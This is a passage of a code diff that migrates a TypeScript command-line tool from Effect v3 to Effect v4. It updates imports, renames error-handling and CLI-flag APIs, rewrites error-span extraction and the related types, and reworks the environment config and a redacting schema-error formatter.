457 - Effect.catchAll(error =>
459 + Effect.catch(error =>
460 Effect.logWarning(`Failed to compile TypeScript files: ${error.message}`)
461 )
462 );
ts/packages/cli/src/commands/upgrade.cmd.ts
+8 -8
@@ -1,20 +1,20 @@
1 -import { Args, Command, Options } from '@effect/cli';
1 +import { Argument, Command, Flag } from 'effect/unstable/cli';
2 import { Effect, Option } from 'effect';
3 import { APP_VERSION } from 'src/constants';
4 import { UpgradeBinary } from 'src/services/upgrade-binary';
5 import { installSkillSafe } from 'src/effects/install-skill';
6
7 -const betaOpt = Options.boolean('beta').pipe(
8 - Options.withAlias('b'),
9 - Options.withDefault(false),
10 - Options.withDescription('Upgrade to the latest beta CLI release instead of the stable channel')
7 +const betaOpt = Flag.boolean('beta').pipe(
8 + Flag.withAlias('b'),
9 + Flag.withDefault(false),
10 + Flag.withDescription('Upgrade to the latest beta CLI release instead of the stable channel')
11 );
12
13 -const versionArg = Args.text({ name: 'version' }).pipe(
14 - Args.withDescription(
13 +const versionArg = Argument.string('version').pipe(
14 + Argument.withDescription(
15 'Install a specific CLI release (e.g. "0.13.1", "0.13.1-beta.42", or full tag "@composio/cli@0.13.1"). If omitted, installs the latest release.'
16 ),
17 - Args.optional
17 + Argument.optional
18 );
19
20 const RELEASE_TAG_PREFIX = '@composio/cli@';
ts/packages/cli/src/commands/version.cmd.ts
+4 -3
@@ -1,12 +1,13 @@
1 -import { Command, Options } from '@effect/cli';
1 +import { Command, Flag } from 'effect/unstable/cli';
2 import { Effect } from 'effect';
3 import { getVersion } from 'src/effects/version';
4 import { getUpdateStatus } from 'src/services/update-check';
5 import { TerminalUI } from 'src/services/terminal-ui';
6 import { bold, cyanBright } from 'src/ui/colors';
7
8 -const check = Options.boolean('check').pipe(
9 - Options.withDescription(
8 +const check = Flag.boolean('check').pipe(
9 + Flag.withDefault(false),
10 + Flag.withDescription(
11 'Check for a newer stable release and print a machine-readable JSON status ' +
12 '({current, latestStable, updateAvailable, checkStatus, lastChecked}). ' +
13 'Refreshes the release cache when it is older than 24 hours.'
ts/packages/cli/src/commands/whoami.cmd.ts
+1 -1
@@ -1,4 +1,4 @@
1 -import { Command } from '@effect/cli';
1 +import { Command } from 'effect/unstable/cli';
2 import { Effect, Option } from 'effect';
3 import { getSessionInfoByUserApiKey } from 'src/services/composio-clients';
4 import { linkApolloIdentityForAnalytics } from 'src/analytics/dispatch';
ts/packages/cli/src/effect-errors/capture-errors.ts
+5 -5
@@ -1,7 +1,7 @@
1 -import type { FileSystem } from '@effect/platform/FileSystem';
2 -import type { Path } from '@effect/platform/Path';
1 import { Effect } from 'effect';
4 -import { type Cause, isInterruptedOnly } from 'effect/Cause';
2 +import { type Cause, hasInterruptsOnly } from 'effect/Cause';
3 +import type { FileSystem } from 'effect/FileSystem';
4 +import type { Path } from 'effect/Path';
5
6 import { captureErrorsFrom } from 'effect-errors/logic/errors';
7 import {
@@ -17,7 +17,7 @@ export interface ErrorData {
17 stack: string[] | undefined;
18 sources: Omit<ErrorRelatedSources, '_tag'>[] | undefined;
19 location: Omit<ErrorLocation, '_tag'>[] | undefined;
20 - spans: ErrorSpan[] | undefined;
20 + spans: ReadonlyArray<ErrorSpan> | undefined;
21 isPlainString: boolean;
22 }
23
@@ -37,7 +37,7 @@ export const captureErrors = <E>(
37 }
38 ): Effect.Effect<CapturedErrors, never, FileSystem | Path> =>
39 Effect.gen(function* () {
40 - if (isInterruptedOnly(cause)) {
40 + if (hasInterruptsOnly(cause)) {
41 return {
42 interrupted: true,
43 errors: [],
ts/packages/cli/src/effect-errors/dependencies/fs/read-json/read-json.ts
+2 -2
@@ -1,4 +1,4 @@
1 -import { FileSystem } from '@effect/platform/FileSystem';
1 +import { FileSystem } from 'effect/FileSystem';
2 import { Effect, pipe } from 'effect';
3
4 import { parseJsonRecord } from 'src/utils/parse-json';
@@ -13,7 +13,7 @@ export const readJsonEffect = (filePath: string) =>
13 return null;
14 }
15
16 - const json = yield* parseJsonRecord(data);
16 + const json = yield* Effect.fromResult(parseJsonRecord(data));
17
18 return json;
19 }),
ts/packages/cli/src/effect-errors/logic/errors/capture-errors-from-cause.ts
+12 -8
@@ -1,15 +1,19 @@
1 -import { type Cause, reduceWithContext } from 'effect/Cause';
1 +import { type Cause, isDieReason, isFailReason } from 'effect/Cause';
2
3 import type { PrettyError } from 'effect-errors/types';
4
5 import { parseError } from './parse-error';
6
7 +// v4 flattens Cause to a `reasons` array of Fail | Die | Interrupt entries
8 +// (see ts/vendor/effect/migration/cause.md). Interrupt reasons are dropped,
9 +// mirroring v3's `interruptCase: () => []`.
10 export const captureErrorsFrom = <E>(cause: Cause<E>): readonly PrettyError[] =>
8 - reduceWithContext(cause, undefined, {
9 - emptyCase: (): readonly PrettyError[] => [],
10 - dieCase: (_, unknownError) => [parseError(unknownError)],
11 - failCase: (_, error) => [parseError(error)],
12 - interruptCase: () => [],
13 - parallelCase: (_, l, r) => [...l, ...r],
14 - sequentialCase: (_, l, r) => [...l, ...r],
11 + cause.reasons.flatMap((reason): readonly PrettyError[] => {
12 + if (isFailReason(reason)) {
13 + return [parseError(reason.error, reason)];
14 + }
15 + if (isDieReason(reason)) {
16 + return [parseError(reason.defect, reason)];
17 + }
18 + return [];
19 });
ts/packages/cli/src/effect-errors/logic/errors/extract-error-details.ts
+1 -2
@@ -1,5 +1,4 @@
1 -import { isFunction } from 'effect/Function';
2 -import { hasProperty } from 'effect/Predicate';
1 +import { hasProperty, isFunction } from 'effect/Predicate';
2
3 interface ErrorDetails {
4 isPlainString: boolean;
ts/packages/cli/src/effect-errors/logic/errors/parse-error.ts
+7 -5
@@ -1,10 +1,12 @@
1 +import type { Reason } from 'effect/Cause';
2 +
3 import { PrettyError } from 'effect-errors/types';
4
5 import { extractErrorDetails } from './extract-error-details';
4 -import { extractSpanAnnotation } from './span-annotation';
6 +import { extractSpanStackFrames } from './span-annotation';
7
6 -export const parseError = (error: unknown): PrettyError => {
7 - const maybeSpan = extractSpanAnnotation(error);
8 +export const parseError = (error: unknown, reason: Reason<unknown>): PrettyError => {
9 + const spans = extractSpanStackFrames(reason);
10 const { message, type, isPlainString } = extractErrorDetails(error);
11
12 if (error instanceof Error) {
@@ -14,11 +16,11 @@ export const parseError = (error: unknown): PrettyError => {
16 ?.split('\n')
17 .filter(el => /at (.*)/.exec(el))
18 .join('\r\n'),
17 - maybeSpan,
19 + spans,
20 false,
21 type
22 );
23 }
24
23 - return new PrettyError(message, undefined, maybeSpan, isPlainString, type);
25 + return new PrettyError(message, undefined, spans, isPlainString, type);
26 };
ts/packages/cli/src/effect-errors/logic/errors/span-annotation.ts
+32 -21
@@ -1,27 +1,38 @@
1 -import { hasProperty, isString, isTagged } from 'effect/Predicate';
2 -import type { Span } from 'effect/Tracer';
1 +import { type Reason, reasonAnnotations, StackTrace } from 'effect/Cause';
2 +import { getOrUndefined } from 'effect/Context';
3
4 -// Effect v3 internal: `Effect.fail`/`Effect.die` proxy object errors so the
5 -// fiber's current span is readable under this global registry symbol. There is
6 -// no public API for it, and `Symbol.for` succeeds even on Effect versions that
7 -// stop setting it, so keep every read behind this adapter — the canary test in
8 -// test/src/effect-errors/span-annotation.test.ts breaks loudly when an
9 -// `effect` upgrade drops the mechanism.
10 -const spanSymbol = Symbol.for('effect/SpanAnnotation');
4 +import type { ErrorSpan } from 'effect-errors/types';
5
12 -const looksLikeSpan = (value: unknown): value is Span =>
13 - isTagged(value, 'Span') &&
14 - hasProperty(value, 'name') &&
15 - isString(value.name) &&
16 - hasProperty(value, 'status') &&
17 - hasProperty(value, 'attributes') &&
18 - hasProperty(value, 'parent');
6 +// v3 internal: `Effect.fail`/`Effect.die` proxied object errors so the fiber's
7 +// current span was readable under a global `effect/SpanAnnotation` registry
8 +// symbol. v4 dropped that mechanism entirely (confirmed against
9 +// `ts/vendor/effect` — no such symbol, and no per-reason span stamped directly
10 +// onto the raised error value anywhere in the v4 source or the installed
11 +// `effect@4.0.0-rc.112` dist).
12 +//
13 +// The analogous v4 mechanism lives one level up, on the `Cause` `Reason`
14 +// rather than the bare error value: `Effect.withSpan` pushes a span-named
15 +// `StackFrame` onto the `CurrentStackFrame` fiber reference (vendored
16 +// `internal/effect.ts`'s `provideSpanStackFrame`, used by
17 +// `withParentSpan`/`withSpan`), and on failure the runtime annotates every
18 +// reason with that frame chain under the `Cause.StackTrace` context key —
19 +// `Context.get(Cause.reasonAnnotations(reason), Cause.StackTrace)`. Frames
20 +// form a linked list (`{ name, stack(), parent }`), innermost span first.
21 +//
22 +// Only names and call-site locations survive this way: the old v3 span
23 +// timeline's per-span duration/attributes lived on the `Span` object itself,
24 +// which no longer exists by the time a `Cause` is inspected, so timing cannot
25 +// be recovered — see the canary tests in
26 +// test/src/effect-errors/span-annotation.test.ts, which confirm this chain is
27 +// populated for both `Effect.fail` and `Effect.die`.
28 +export const extractSpanStackFrames = (reason: Reason<unknown>): ReadonlyArray<ErrorSpan> => {
29 + const frames: ErrorSpan[] = [];
30 + let frame = getOrUndefined(reasonAnnotations(reason), StackTrace);
31
20 -export const extractSpanAnnotation = (error: unknown): Span | undefined => {
21 - if (!hasProperty(error, spanSymbol)) {
22 - return undefined;
32 + while (frame !== undefined) {
33 + frames.push({ name: frame.name, location: frame.stack() });
34 + frame = frame.parent;
35 }
36
25 - const value = error[spanSymbol];
26 - return looksLikeSpan(value) ? value : undefined;
37 + return frames;
38 };
ts/packages/cli/src/effect-errors/pretty-print/captured-errors/maybe-advise-spans-usage.ts
+1 -1
@@ -2,7 +2,7 @@ import * as color from 'src/ui/colors';
2
3 import type { ErrorSpan } from 'effect-errors/types';
4
5 -export const maybeAdviseSpansUsage = (spans: ErrorSpan[] | undefined): string[] => {
5 +export const maybeAdviseSpansUsage = (spans: ReadonlyArray<ErrorSpan> | undefined): string[] => {
6 if (spans === undefined || spans.length === 0) {
7 return [' ', color.gray('ℹ️ Consider using spans to improve errors reporting.')];
8 }
ts/packages/cli/src/effect-errors/pretty-print/captured-errors/maybe-print-spans-timeline.ts
+12 -14
@@ -1,16 +1,15 @@
1 import * as color from 'src/ui/colors';
2
3 import { stripCwdPath } from 'effect-errors/logic/path';
4 -import {
5 - formatSpanAttributes,
6 - formatSpanDuration,
7 - missingSpansWarning,
8 - spanStackTrailingChar,
9 -} from 'effect-errors/pretty-print/common';
4 +import { missingSpansWarning, spanStackTrailingChar } from 'effect-errors/pretty-print/common';
5 import type { ErrorSpan, PrettyPrintOptions } from 'effect-errors/types';
6
7 +// Recovered from the `Cause.StackTrace` reason annotation (see
8 +// `logic/errors/span-annotation.ts`) — only span names and call-site
9 +// locations are available in v4, not the v3 timeline's per-span duration or
10 +// attributes, so each entry renders just those two lines.
11 export const maybePrintSpansTimeline = (
13 - spans: ErrorSpan[] | undefined,
12 + spans: ReadonlyArray<ErrorSpan> | undefined,
13 isPlainString: boolean,
14 { stripCwd }: PrettyPrintOptions
15 ): string[] => {
@@ -18,21 +17,20 @@ export const maybePrintSpansTimeline = (
17 return isPlainString === false ? [' ', missingSpansWarning, ' '] : [];
18 }
19
21 - return spans.reduce<string[]>((output, { name, durationInMilliseconds, attributes }, index) => {
20 + return spans.reduce<string[]>((output, { name, location }, index) => {
21 const isFirstEntry = index === 0;
22 const isLastEntry = index === spans.length - 1;
23
24 const maybeCircle = isFirstEntry ? `\r\n${color.gray('◯')}\r\n` : '';
25 const trailing = spanStackTrailingChar(isLastEntry);
27 - const filePath = ` ${stripCwd !== undefined ? color.underline(color.bold(stripCwdPath(name))) : color.underline(name)}`;
28 - const duration =
29 - durationInMilliseconds !== undefined
30 - ? color.gray(formatSpanDuration(durationInMilliseconds, isLastEntry))
26 + const spanName = ` ${stripCwd !== undefined ? color.underline(color.bold(stripCwdPath(name))) : color.underline(name)}`;
27 + const formattedLocation =
28 + location !== undefined
29 + ? `\r\n${isLastEntry ? ' ' : color.gray('│')} ${color.gray(stripCwd !== undefined ? stripCwdPath(location) : location)}`
30 : '';
32 - const formattedAttributes = formatSpanAttributes(attributes, isLastEntry);
31
32 const timelineEntry = color.white(
35 - `${maybeCircle}${trailing}${color.gray('─')}${filePath}${duration}${formattedAttributes}`
33 + `${maybeCircle}${trailing}${color.gray('─')}${spanName}${formattedLocation}`
34 );
35
36 return [...output, timelineEntry];
ts/packages/cli/src/effect-errors/pretty-print/captured-errors/print-effect-stacktrace.ts
+1 -1
@@ -6,7 +6,7 @@ import type { ErrorSpan, PrettyPrintOptions } from 'effect-errors/types';
6
7 export const printEffectStacktrace = (
8 sources: Omit<ErrorRelatedSources, '_tag'>[] | undefined,
9 - spans: ErrorSpan[] | undefined,
9 + spans: ReadonlyArray<ErrorSpan> | undefined,
10 { stripCwd }: PrettyPrintOptions
11 ) => {
12 const isEmpty =
ts/packages/cli/src/effect-errors/pretty-print/common/format-span-duration.ts deleted
-4
@@ -1,4 +0,0 @@
1 -import * as color from 'src/ui/colors';
2 -
3 -export const formatSpanDuration = (durationInMs: number | bigint, isLastEntry: boolean) =>
4 - `\r\n${isLastEntry ? ' ' : color.gray('│')} ~ ${durationInMs}ms`;
ts/packages/cli/src/effect-errors/pretty-print/common/format-spans-attribute.ts deleted
-17
@@ -1,17 +0,0 @@
1 -import * as color from 'src/ui/colors';
2 -
3 -const maybePrintPipe = (isLastEntry: boolean) => (isLastEntry ? ' ' : color.gray('│'));
4 -
5 -export const formatSpanAttributes = (attributes: Record<string, unknown>, isLastEntry: boolean) => {
6 - const entries = Object.entries(attributes);
7 - if (entries.length === 0) {
8 - return [];
9 - }
10 -
11 - const lines = Array.from(entries).map(
12 - ([key, value]) =>
13 - `${maybePrintPipe(isLastEntry)} ${color.white(key)}${color.gray(':')} ${value}`
14 - );
15 -
16 - return `\r\n${lines.join('\r\n')}`;
17 -};
ts/packages/cli/src/effect-errors/pretty-print/common/index.ts
-2
@@ -1,7 +1,5 @@
1 export * from './constants/missing-spans-warning';
2 export * from './format-error-title';
3 -export * from './format-span-duration';
4 -export * from './format-spans-attribute';
3 export * from './format-title';
4 export * from './maybe-warn-about-plain-strings';
5 export * from './spans-stack-trailing-char';
ts/packages/cli/src/effect-errors/sourcemaps/get-error-related-sources.ts
+2 -2
@@ -1,5 +1,5 @@
1 -import { FileSystem } from '@effect/platform/FileSystem';
2 -import { Path } from '@effect/platform/Path';
1 +import { FileSystem } from 'effect/FileSystem';
2 +import { Path } from 'effect/Path';
3 import { Effect } from 'effect';
4
5 import { getErrorLocationFrom } from './get-error-location-from-file-path';
ts/packages/cli/src/effect-errors/sourcemaps/get-source-code.ts
+2 -2
@@ -1,5 +1,5 @@
1 -import type { PlatformError } from '@effect/platform/Error';
2 -import { FileSystem } from '@effect/platform/FileSystem';
1 +import { FileSystem } from 'effect/FileSystem';
2 +import type { PlatformError } from 'effect/PlatformError';
3 import { Effect } from 'effect';
4
5 import type { ErrorLocation } from './get-error-location-from-file-path';
ts/packages/cli/src/effect-errors/sourcemaps/get-sources-from-map-file.ts
+7 -7
@@ -1,6 +1,6 @@
1 -import type { PlatformError } from '@effect/platform/Error';
2 -import { FileSystem } from '@effect/platform/FileSystem';
3 -import { Path } from '@effect/platform/Path';
1 +import { FileSystem } from 'effect/FileSystem';
2 +import { Path } from 'effect/Path';
3 +import type { PlatformError } from 'effect/PlatformError';
4 import { Data, Effect, Option, Schema, pipe } from 'effect';
5 import { SourceMapConsumer } from 'source-map-js';
6
@@ -19,9 +19,9 @@ import { type ErrorRelatedSources, MappedSources, type RawErrorLocation } from '
19 * downgrade a perfectly usable map to an unenriched location.
20 */
21 const SourceMapSchema = Schema.Struct({
22 - version: Schema.Literal(3, '3'),
22 + version: Schema.Literals([3, '3']),
23 sources: Schema.Array(Schema.String),
24 - names: Schema.optionalWith(Schema.Array(Schema.String), { default: () => [] }),
24 + names: Schema.optional(Schema.Array(Schema.String)),
25 mappings: Schema.String,
26 file: Schema.optional(Schema.NullOr(Schema.String)),
27 sourceRoot: Schema.optional(Schema.NullOr(Schema.String)),
@@ -54,7 +54,7 @@ const resolveOriginalPosition = (sourceMap: typeof SourceMapSchema.Type, locatio
54 new SourceMapConsumer({
55 version: String(sourceMap.version),
56 sources: [...sourceMap.sources],
57 - names: [...sourceMap.names],
57 + names: [...(sourceMap.names ?? [])],
58 mappings: sourceMap.mappings,
59 file: sourceMap.file ?? undefined,
60 sourceRoot: sourceMap.sourceRoot ?? undefined,
@@ -93,7 +93,7 @@ const enrichFromMapFile = (
93 }
94
95 const sourceMap = yield* readJsonEffect(`${location.filePath}.map`).pipe(
96 - Effect.map(Option.fromNullable),
96 + Effect.map(Option.fromNullOr),
97 Effect.map(Option.flatMap(decodeSourceMap)),
98 Effect.catchTag('JsonParsingError', () => Effect.succeed(Option.none()))
99 );
ts/packages/cli/src/effect-errors/sourcemaps/get-sources-from-span.ts deleted
-66
@@ -1,66 +0,0 @@
1 -import { Effect, Option, Predicate, pipe } from 'effect';
2 -import type { AnySpan, Span } from 'effect/Tracer';
3 -
4 -import { splitSpansAttributesByTypes } from 'effect-errors/logic/spans';
5 -
6 -import {
7 - type ErrorRelatedSources,
8 - isErrorRelatedSources,
9 - isRawErrorLocation,
10 - type RawErrorLocation,
11 -} from './mapped-sources';
12 -import { maybeMapSourcemaps } from './maybe-map-sourcemaps';
13 -
14 -export const getSourcesFromSpan = ({
15 - span,
16 - sources,
17 - location,
18 -}: {
19 - span: Span | undefined;
20 - sources: ErrorRelatedSources[];
21 - location: RawErrorLocation[];
22 -}) =>
23 - pipe(
24 - Effect.gen(function* () {
25 - if (span === undefined) {
26 - return {
27 - spans: [],
28 - sources,
29 - location,
30 - };
31 - }
32 -
33 - const spans = [];
34 -
35 - let current: Span | AnySpan | undefined = span;
36 - while (current !== undefined && Predicate.isTagged(current, 'Span')) {
37 - const { name, attributes: allAttributes, status } = current;
38 -
39 - const { attributes, stacktrace } = splitSpansAttributesByTypes(allAttributes);
40 -
41 - const sourcesOrLocation = yield* maybeMapSourcemaps(name, stacktrace);
42 - const duration = Predicate.isTagged(status, 'Ended')
43 - ? +`${(status.endTime - status.startTime) / BigInt(1000000)}`
44 - : undefined;
45 -
46 - sources.push(...sourcesOrLocation.filter(isErrorRelatedSources));
47 - location.push(...sourcesOrLocation.filter(isRawErrorLocation));
48 - spans.push({
49 - name,
50 - attributes: Object.fromEntries(attributes),
51 - durationInMilliseconds: duration,
52 - startTime: status.startTime,
53 - endTime: Predicate.isTagged(status, 'Ended') ? status.endTime : undefined,
54 - });
55 -
56 - current = Option.getOrUndefined(current.parent);
57 - }
58 -
59 - return {
60 - spans,
61 - location,
62 - sources,
63 - };
64 - }),
65 - Effect.withSpan('get-sources-from-span')
66 - );
ts/packages/cli/src/effect-errors/sourcemaps/maybe-map-sourcemaps.ts
+2 -2
@@ -1,5 +1,5 @@
1 -import type { FileSystem } from '@effect/platform/FileSystem';
2 -import type { Path } from '@effect/platform/Path';
1 +import type { FileSystem } from 'effect/FileSystem';
2 +import type { Path } from 'effect/Path';
3 import { Effect } from 'effect';
4
5 import { stackAtRegex } from 'effect-errors/logic/stack';
ts/packages/cli/src/effect-errors/sourcemaps/transform-raw-error.ts
+6 -8
@@ -5,21 +5,19 @@ import { stackAtRegex } from 'effect-errors/logic/stack';
5
6 import type { CaptureErrorsOptions } from '../capture-errors';
7 import type { PrettyError } from '../types/pretty-error.type';
8 -import { getSourcesFromSpan } from './get-sources-from-span';
8 import { getSourcesFromStack } from './get-sources-from-stack';
9
11 -const dropTag = Struct.omit('_tag');
10 +const dropTag = <T extends { readonly _tag: string }>(value: T) => Struct.omit(value, ['_tag']);
11
12 export const transformRawError =
13 ({ stripCwd }: CaptureErrorsOptions) =>
15 - ({ message, stack: maybeStack, span, errorType, isPlainString }: PrettyError) =>
14 + ({ message, stack: maybeStack, spans, errorType, isPlainString }: PrettyError) =>
15 pipe(
16 Effect.gen(function* () {
18 - const data = yield* getSourcesFromStack(maybeStack);
19 - const { spans, sources, location } = yield* getSourcesFromSpan({
20 - span,
21 - ...data,
22 - });
17 + // v4 has no `Span` object on a `Cause` to source-map (see
18 + // `logic/errors/span-annotation.ts`), so `sources`/`location` can only
19 + // ever come from the raw Node stack, not from span attributes anymore.
20 + const { sources, location } = yield* getSourcesFromStack(maybeStack);
21
22 let stack: string | undefined;
23 if (maybeStack !== undefined) {
ts/packages/cli/src/effect-errors/types/error-span.type.ts
+6 -5
@@ -1,7 +1,8 @@
1 +// v4 has no `Span` object to walk for attributes/timing on a `Cause` (see
2 +// `logic/errors/span-annotation.ts`) — only the span name and its call-site
3 +// location survive the `Cause.StackTrace` reason annotation, so `ErrorSpan`
4 +// carries just those two fields now.
5 export interface ErrorSpan {
2 - name: string;
3 - attributes: Record<string, unknown>;
4 - durationInMilliseconds: number | undefined;
5 - startTime: bigint;
6 - endTime: bigint | undefined;
6 + readonly name: string;
7 + readonly location: string | undefined;
8 }
ts/packages/cli/src/effect-errors/types/pretty-error.type.ts
+2 -2
@@ -1,10 +1,10 @@
1 -import type { Span } from 'effect/Tracer';
1 +import type { ErrorSpan } from './error-span.type';
2
3 export class PrettyError {
4 constructor(
5 readonly message: unknown,
6 readonly stack: string | undefined,
7 - readonly span: Span | undefined,
7 + readonly spans: ReadonlyArray<ErrorSpan>,
8 readonly isPlainString: boolean,
9 readonly errorType?: unknown
10 ) {}
ts/packages/cli/src/effects/app-config.ts
+26 -17
@@ -1,7 +1,7 @@
1 -import { Config, HashMap, LogLevel, Option } from 'effect';
1 +import { Config, Effect, LogLevel, Option, Schema } from 'effect';
2 import * as constants from 'src/constants';
3
4 -type APP_CONFIG = Config.Config.Wrap<{
4 +type APP_CONFIG = Config.Wrap<{
5 USER_API_KEY: Option.Option<string>;
6 ENVIRONMENT: Option.Option<string>;
7 BASE_URL: string;
@@ -23,7 +23,7 @@ type APP_CONFIG = Config.Config.Wrap<{
23 DISABLE_CONNECTED_ACCOUNT_CACHE: boolean;
24 }>;
25
26 -type UNPREFIXED_CONFIG = Config.Config.Wrap<{
26 +type UNPREFIXED_CONFIG = Config.Wrap<{
27 CACHE_DIR: string | undefined;
28 NPM_CONFIG_USER_AGENT: string | undefined;
29 CI_REDACTION_ENABLED: boolean;
@@ -80,20 +80,29 @@ const optionalEnvironmentFlag = (name: string): Config.Config<boolean | undefine
80 const booleanFlag = (name: string, defaultValue = false): Config.Config<boolean> =>
81 optionalEnvironmentFlag(name).pipe(Config.map(value => value ?? defaultValue));
82
83 -// `Config.hashMap` enumerates the provider's root keys instead of reading one
84 -// named variable, so it depends on how `ConfigProvider.fromEnv` derives them:
85 -// every `process.env` key is uppercased and split on `_`, and the first segment
86 -// becomes a root. `CODEX_HOME`, `codex_home`, and a bare `CODEX` therefore all
87 -// surface as the root `CODEX`. Matching is consequently case-insensitive and no
88 -// longer requires a trailing underscore, unlike the
89 -// `Object.keys(env).some(key => key.startsWith('CODEX_'))` scan it replaced.
90 -const agentPrefixSignals = Config.hashMap(Config.succeed(true)).pipe(
91 - Config.map(environmentRoots => ({
92 - codex: HashMap.has(environmentRoots, 'CODEX'),
93 - claude: HashMap.has(environmentRoots, 'CLAUDE'),
94 - openclaw: HashMap.has(environmentRoots, 'OPENCLAW'),
95 - }))
96 -);
83 +// Effect v4 exposes no root-key enumeration, so each agent prefix is probed as
84 +// its own subtree. `ConfigProvider.fromEnv` splits every variable name on `_`
85 +// to build a trie, so `CODEX_HOME`, `CODEX_0_X`, and a bare `CODEX` all surface
86 +// under the root `CODEX`, which the permissive tree schema below accepts
87 +// whatever its shape. Names are matched as written: the provider no longer
88 +// uppercases keys, so `codex_home` does not count.
89 +const environmentTree: Schema.Codec<unknown> = Schema.Union([
90 + Schema.String,
91 + Schema.Record(
92 + Schema.String,
93 + Schema.suspend(() => environmentTree)
94 + ),
95 + Schema.Array(Schema.suspend(() => environmentTree)),
96 +]);
97 +
98 +const hasEnvironmentRoot = (root: string): Config.Config<boolean> =>
99 + Config.schema(environmentTree, root).pipe(Config.option, Config.map(Option.isSome));
100 +
101 +const agentPrefixSignals = Config.all({
102 + codex: hasEnvironmentRoot('CODEX'),
103 + claude: hasEnvironmentRoot('CLAUDE'),
104 + openclaw: hasEnvironmentRoot('OPENCLAW'),
105 +});
106
107 /**
108 * Derives a URL default based on the `COMPOSIO_ENVIRONMENT` config key.
ts/packages/cli/src/effects/core-dependency.ts
+13 -14
@@ -1,7 +1,6 @@
1 -import * as Command from '@effect/platform/Command';
2 -import * as FileSystem from '@effect/platform/FileSystem';
3 -import * as Path from '@effect/platform/Path';
4 -import { Effect, Match } from 'effect';
1 +import { Effect, FileSystem, Match, Path } from 'effect';
2 +import { ChildProcess } from 'effect/unstable/process';
3 +import { ChildProcessSpawner } from 'effect/unstable/process/ChildProcessSpawner';
4 import {
5 ProjectEnvironmentDetector,
6 type JsLanguage,
@@ -80,7 +79,7 @@ const readPackageJson = (fs: FileSystem.FileSystem, path: Path.Path, dir: string
79 catch: () => null,
80 })
81 ),
83 - Effect.catchAll(() => Effect.succeed(null))
82 + Effect.catch(() => Effect.succeed(null))
83 );
84
85 const findDependencySpec = (pkg: Record<string, unknown>, name: string) => {
@@ -104,13 +103,13 @@ const detectJsDependencyVersion = (
103 const packageJsonPath = path.join(dir, 'node_modules', '@composio', 'core', 'package.json');
104 const content = yield* fs
105 .readFileString(packageJsonPath)
107 - .pipe(Effect.catchAll(() => Effect.succeed<string | null>(null)));
106 + .pipe(Effect.catch(() => Effect.succeed<string | null>(null)));
107
108 if (content) {
109 const parsed = yield* Effect.try({
110 try: () => JSON.parse(content) as { version?: string },
111 catch: () => null,
113 - }).pipe(Effect.catchAll(() => Effect.succeed(null)));
112 + }).pipe(Effect.catch(() => Effect.succeed(null)));
113
114 if (parsed?.version) {
115 return {
@@ -124,7 +123,7 @@ const detectJsDependencyVersion = (
123 const pnpmStore = path.join(dir, 'node_modules', '.pnpm');
124 const entries = yield* fs
125 .readDirectory(pnpmStore)
127 - .pipe(Effect.catchAll(() => Effect.succeed<string[]>([])));
126 + .pipe(Effect.catch(() => Effect.succeed<string[]>([])));
127 const match = entries.find(entry => entry.startsWith('@composio+core@'));
128 if (!match) {
129 continue;
@@ -139,13 +138,13 @@ const detectJsDependencyVersion = (
138 );
139 const pnpmContent = yield* fs
140 .readFileString(pnpmPkgPath)
142 - .pipe(Effect.catchAll(() => Effect.succeed<string | null>(null)));
141 + .pipe(Effect.catch(() => Effect.succeed<string | null>(null)));
142
143 if (pnpmContent) {
144 const pnpmParsed = yield* Effect.try({
145 try: () => JSON.parse(pnpmContent) as { version?: string },
146 catch: () => null,
148 - }).pipe(Effect.catchAll(() => Effect.succeed(null)));
147 + }).pipe(Effect.catch(() => Effect.succeed(null)));
148
149 if (pnpmParsed?.version) {
150 return {
@@ -187,10 +186,10 @@ const detectPythonDependencyVersion = (plan: Extract<CoreDependencyPlan, { kind:
186 ]
187 : ['python', '-c', "import importlib.metadata as m; print(m.version('composio'))"];
188
190 - const stdout = yield* Command.make(cmd, ...args).pipe(
191 - Command.string,
192 - Effect.catchAll(() => Effect.succeed<string | null>(null))
193 - );
189 + const spawner = yield* ChildProcessSpawner;
190 + const stdout = yield* spawner
191 + .string(ChildProcess.make(cmd, args, { extendEnv: true }))
192 + .pipe(Effect.catch(() => Effect.succeed<string | null>(null)));
193
194 if (!stdout) {
195 return null;
ts/packages/cli/src/effects/create-tool-router-session.ts
+1 -1
@@ -198,7 +198,7 @@ export const createToolRouterSessionContext = (
198 connectedAccounts: connectionContext.connectedAccounts,
199 availableConnectedAccounts: connectionContext.availableConnectedAccounts,
200 },
201 - }).pipe(Effect.catchAll(() => Effect.void));
201 + }).pipe(Effect.catch(() => Effect.void));
202 }
203
204 const connectedAccountIds = Object.values(connectionContext.connectedAccounts ?? {}).filter(
ts/packages/cli/src/effects/debug-config.ts
+1 -1
@@ -1,6 +1,6 @@
1 import { Config, Option } from 'effect';
2
3 -type DEBUG_CONFIG = Config.Config.Wrap<{
3 +type DEBUG_CONFIG = Config.Wrap<{
4 UPGRADE_TARGET: Option.Option<string>;
5 VERSION: Option.Option<string>;
6 }>;
ts/packages/cli/src/effects/decode-connected-account-list.ts
+26 -14
@@ -1,4 +1,4 @@
1 -import { Effect, ParseResult, Schema } from 'effect';
1 +import { Effect, Match, Schema, type SchemaIssue } from 'effect';
2 import {
3 ConnectedAccountItems,
4 isKnownConnectedAccountStatus,
@@ -10,15 +10,27 @@ import {
10 import { TerminalUI } from 'src/services/terminal-ui';
11
12 /**
13 - * Renders a `ParseError` as `path: kind` pairs only — never the failing
14 - * values. A container-level failure would otherwise echo the raw payload,
15 - * which can include credential-bearing fields (`state`, `data`, ...) the
13 + * Flattens a schema issue tree into `path: kind` pairs only — never the
14 + * failing values. The built-in formatters may echo reported input, and a
15 + * container-level failure would otherwise print the raw payload, which can
16 + * include credential-bearing fields (`state`, `data`, ...) the
17 * connected-account schemas deliberately exclude.
18 */
18 -const formatParseErrorRedacted = (error: ParseResult.ParseError): string =>
19 - ParseResult.ArrayFormatter.formatErrorSync(error)
20 - .map(issue => `${issue.path.join('.') || '(root)'}: ${issue._tag}`)
21 - .join(', ');
19 +const collectIssueKinds = (
20 + issue: SchemaIssue.Issue,
21 + path: ReadonlyArray<PropertyKey>
22 +): ReadonlyArray<string> =>
23 + Match.value(issue).pipe(
24 + Match.tag('Pointer', pointer => collectIssueKinds(pointer.issue, [...path, ...pointer.path])),
25 + Match.tag('Composite', 'AnyOf', composite =>
26 + composite.issues.flatMap(inner => collectIssueKinds(inner, path))
27 + ),
28 + Match.tag('Filter', 'Encoding', wrapper => collectIssueKinds(wrapper.issue, path)),
29 + Match.orElse(leaf => [`${path.map(String).join('.') || '(root)'}: ${leaf._tag}`])
30 + );
31 +
